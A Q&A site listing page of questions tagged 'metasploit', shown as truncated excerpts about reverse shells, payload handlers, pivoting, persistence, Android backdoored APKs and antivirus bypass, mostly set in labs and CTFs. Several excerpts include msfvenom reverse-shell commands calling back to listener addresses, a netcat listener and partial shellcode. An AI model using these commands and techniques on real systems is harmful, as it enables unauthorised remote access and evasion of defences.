Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
1
vote
1answer
62 views

Pass the Hash & Unix

Purpose: test if PtH (Pass the hash) is feasible against Unix box Scenario: Windows host (Windows Server 2008) vulnerable to eternalblue got Administration hash as part of the post-exploitation ...
0
votes
0answers
25 views

generating payload whith autorun script

i want to generate payload whith persistence script that automatically setuped when victim install the payload in window . I know that a multi/handler allow to set autorunscript and it works fine. the ...
0
votes
0answers
24 views

buffer overflow exploit: vulnserver with additional 20 bytes of data?

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to ...
0
votes
1answer
99 views

What is the difference between SRVHOST and LHOST in metasploit?

What is the difference between SRVHOST and LHOST in Metasploit. I am testing an exploit in my virtual lab of which I had to set both options. LHOST was an option for the payload selected, while ...
0
votes
1answer
98 views

Meterpreter is closing connection - connection died

I am trying to run meterpreter on a vulnerable virtual box (FunBox -CTF) msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.x.x LPORT=443 R > shell.php After i upload the payload, running ...
0
votes
0answers
44 views

After connecting to my backdoor, Meterpreter session is unstable and not usable

I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
0
votes
1answer
35 views

Metasploit: Example Exploit for Windows 7 / Windows Server 2016

For testing purposes of a logging solution, I would like to simulate an attack by using Metasploit against a Windows 7 / Windows 2016 server. However, I am struggling to find a reliable exploit that ...
1
vote
1answer
68 views

How to set where the meterpreter payload is placed on the victim machine in metasploit?

Background I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
0
votes
1answer
72 views

metasploit: how to use linux/http/webmin_backdoor

I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none. My machines ip is 192.168.109.133. I am connected to a vpn ...
0
votes
0answers
115 views

All encoders failed to encode metasploit

I am trying to use this exploit on HTB : https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi pretty simple yet metasploit gives me an error : all encoders failed to encode I have ...
0
votes
1answer
43 views

How to execute a custom meterpreter payload? [duplicate]

I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
0
votes
0answers
85 views

Exploiting WebDav

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
9
votes
1answer
2k views

What is a Payload Handler?

I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't found any satisfactory information ...
0
votes
0answers
75 views

Shell from meterpreter not responding to commands

Meterpreter session was created, framework latest. Victim machine: Ubuntu Screenshot of session: I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...
0
votes
1answer
139 views

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In ...
0
votes
0answers
120 views

Metasploit double reverse portfwd issues

I'm having an issue pivoting with meterpreter and portfwd and I am starting to wonder if what I am trying to do is even possible. My attacker (we'll say 10.80.6.3) machine has a shell on victim 1 and ...
2
votes
1answer
489 views

Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
0
votes
1answer
200 views

Metasploit over WAN (ngrok) - Specify different LHOST and LPORT for payload and listener in an exploit

I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed ...
0
votes
0answers
39 views

Metasploit unable to get local issuer certificate

I got the following versions: Framework: 5.0.86-dev Console: 5.0.86-dev The os that metasploit is installed are windows 10. I get a meterpreter session with an android device (genymotion virtual ...
1
vote
0answers
74 views

Prevent Android Meterpreter being killed when apps are closed

This is the bash script for my android payload #!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done The issue is when I do Clear ...
1
vote
1answer
171 views

msfvenom payload available formats

How can you tell the available output formats for a given payload in msfvenom? For example: this wont work: msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf but this will: ...
0
votes
0answers
43 views

autorunscript metasploit

I'm trying to run the following autoscript use exploit/multi/handler set payload … set lhost set lport set AutoRunScript multi_console_command -r /root/script.rc set ...
0
votes
0answers
80 views

Metasploit: Issue with upgrading a low privilege shell (sessions -u)

Setup info: I don't believe this is the issue as I regularly update my system. I'll add one piece of information as an example. If you would really like to the rest then I can add more in later ...
0
votes
0answers
41 views

Are metasploit exploits always Port specific (smb-samba)?

So I was trying a machine on vulnhub i found port 139 open and also found its service and version on nmap scan that was samba-4.3.11 i also ran auxiliary scan module to confirm the version and service ...
0
votes
1answer
34 views

specific metasploit question about handler

Can the handler exploit/multi/handler handle a connection from another type of payload ? payload generation: msfvenom LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -p windows/...
0
votes
1answer
73 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
0
votes
0answers
18 views

Wmap and dir_scanner: use 301 response as not found criteria

Googled and found nothing, even looked wmap sources a little bit and I think I miss something. Could you please tell me if there any way to configure dir_scanner to understand 301 http code response ...
0
votes
0answers
35 views

Is it possible to embed a Metasploit post module in a Meterpreter payload?

For example, in order to use post/windows/manage/persistence_exe, you have to have an already established meterpreter session with target system and then run it. Is it possible to generate a SINGLE ...
0
votes
1answer
585 views

What is bindshell backdoor?

I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit. I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
1
vote
0answers
402 views

Metasploit always asks me to create MSF web service account

I run QubesOS on my laptop and created a StandaloneVM based on debian-10 template. I installed metasploit and created a database for the MSF web service and I was given a token for the API. I rebooted ...
0
votes
0answers
63 views

metasploit cannot open session even with target is metasploitable2

I have tried to use metasploit framework 5.0.71-dev to exploit metasploitable2 by modules exploit/multi/samba/usermap_script and exploit/unix/irc/unreal_ircd_3281_backdoor but none of them succeeded. ...
0
votes
1answer
57 views

msfconsole and using bash variables

When trying to set RHOSTS for an auxiliary module, I tried using $server, which is a bash variable I've set before entering msfconsole. It is not readable from within msfconsole. How do I access bash ...
0
votes
0answers
111 views

Is it possible to build an msvenom Android .apk using a custom source .apk?

I am trying to find any way to create a payload .apk using msfvenom and not using its provided list. I want to use my own .apk as the base. I have found similar functionality for Windows payloads, but ...
0
votes
0answers
41 views

Exploit remote server through routing on existing meterpreter session

Trying to pivot from an existing meterpreter session on remote machine to a DC server (ip 172.16.13.26) using ms17_101_psexec module. (I know this module woorks on this server). Existing meterpreter ...
0
votes
1answer
65 views

Metasploit as a Daemon creator

is using metasploit post exploit tools an easy way to create a "daemon"? I mean I can just add my awesome.exe to the payload and migrate the payload to svchost.exe and it will persist on the machine ...
1
vote
2answers
98 views

Meterpreter Session over OpenVPN [closed]

Last month I made a pentesting course and now they opened a lab for us to practice before we apply for the certification exam. We connect to the lab over OpenVPN in our Kali Linux machine. I'm trying ...
0
votes
1answer
173 views

Buffer Overflow PoC code \x11(setup sound

I am reading the PWK course book, the chapter of Linux Buffer Overflow: Once the crossfire application is running, we can use the following Proof of Concept (PoC) code, found on the Exploit ...
0
votes
0answers
66 views

How to create a metasploit module with an external gem

I am trying to create a metasploit module with a gem that is not installed base. I followed the procedure here: https://github.com/rapid7/metasploit-framework/wiki/How-to-add-and-update-gems-in-...
0
votes
2answers
137 views

Is it safe to browse the internet with unpatched iPhone with iOS 13.1.3?

I am using unpatched iPhone that has IOS 13.1.3 installed. Apple released IOS 13.1.3 15 Oct 2019. Are there any vulnerabilities for IOS 13.1.3's safari that are currently being exploited in the wild?...
0
votes
0answers
123 views

msfvenom: backdoored apk

I am using msfvenom to backdoor an Android apk. It is supposed that msfvenom adds extra permissions to original AndroidManifest: [*] Poisoning the manifest with meterpreter permissions.. [*] Adding &...
2
votes
0answers
753 views

Help with meterpreter reverse https

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly. 1st ...
0
votes
0answers
53 views

Exploitation differences between Docker and VirtualBox for CVE-2010-4221

I am currently working on a research project where I analyze exploits in different virtualized environments. As an example I picked ProFTPd v1.3.3c which has a remote code execution vulnerability. I ...
1
vote
0answers
75 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
2
votes
1answer
731 views

Newer techniques for Meterpreter AV bypass

Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
0
votes
1answer
2k views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
1
vote
0answers
944 views

Nmap Shows all ports are closed [closed]

I am facing a problem with Nmap while scanning metasploitable. I am using two different PCs. One with Kali Linux by using USB boot and on other PC using Metasploitable running on VMWare. I have ...
0
votes
1answer
466 views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
0
votes
0answers
54 views

Is there a way to add an HTTP header before using a metasploit module

I'm quite confused and I didnt find a way to figure how to add a custom header or for exemple an Authentication Header before using/running a module on metasploit. My question is: there is a way to ...
1
vote
1answer
506 views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
227 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...

1
2 3 4 5
10